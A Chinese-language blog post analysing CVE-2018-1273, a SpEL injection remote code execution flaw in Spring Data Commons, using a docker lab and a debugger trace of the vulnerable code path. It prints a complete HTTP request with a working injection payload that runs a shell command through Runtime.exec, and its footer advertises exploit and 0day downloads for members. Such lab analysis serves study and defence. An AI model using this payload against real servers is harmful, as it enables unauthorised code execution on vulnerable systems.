CVE-2018-1273 漏洞分析

作者 : laolisafe 本文共1837个字,预计阅读时间需要5分钟 发布时间: 2019-01-2 共2.7K人阅读

漏洞背景:
最近Spring框架不大太平,接连爆出来多个RCE远程代码执行的CVE漏洞,其中有CVE-2018-1270,CVE-2018-1273,通过对造成漏洞部分代码进行分析,发现都是因为滥用SpEL的StandardEvaluationContext。
攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。
受影响的版本:
· Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
· Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
· Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
· Spring Data REST 3.0 – 3.0.5 (Kay SR5)
还有部分更早的版本
0x01:获取镜像源码
直接获取docker的漏洞环境,地址
https://github.com/1iK3/vulhub/tree/master/spring/CVE-2018-1273
执行docker-compose up –d启动镜像

然后访问http://localhost:8080/users即可进入漏洞页面
[
抓包post数据报文如下:

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“touch /tmp/z3r0s”)]=&password=&repeatedPassword=

执行docker-compose exec spring bash进入容器中,可以看到成功创建了/tmp/z3r0s文件

0x02: 调试分析
直接从docker中提取到了漏洞文件到本地,解压后倒入idea中打开。

发送如下payload:

从dispatchsevlet下断点,跟进程序的处理流程后,漏洞最终是在MethodReference中的updateExitTypeDescriptor触发:

完整的调用栈如下:

逐步跟进之后可以发现,首先获取了请求的register方法

从漏洞处罚后继续跟进后发现是通过bind中获取target来达到访问Controller的目的,漏洞的触发点是在创建bind的时候。所以从获取到register方法后开始一步步跟进

进入binder.bind开始调试,发现进入了dobind方法中在设置property时传入了payload:

进入applyPropertyValues中

在applyPropertyValues方法中,获取了PropertyAccessor后就调用了对象的setPropertyValues方法,在该方法中遍历property value然后进入setPropertyValue方法设置,

这里是一个接口方法,我们看一下有哪些实现类

在这里是MapDataBinder的内部类MapPropertyAccessor实现了方法,跟进下去:

在108行解析spel表达式,然后在129行调用了SpelExpression的setValue方法成功执行payload

转载声明:本站文章若无特别说明,皆为原创,转载请注明来源:大老李的Blog,谢谢!^^
大老李的Blog|渗透测试论坛|红蓝对抗|大型Web安全问答社区 » CVE-2018-1273 漏洞分析

常见问题FAQ

下载须知:
所有工具以及资源来自网络收集,所有下载,仅供学习交流。禁止利用从本站点下载的工具进行非法活动,从事危害国家网络安全等行为,请遵守相关法律规定,如有违反与本站无关。
会员的作用是什么?
本站会上线exp漏洞库与最新0day供会员下载

发表评论

提供最优质的资源集合

立即查看 了解详情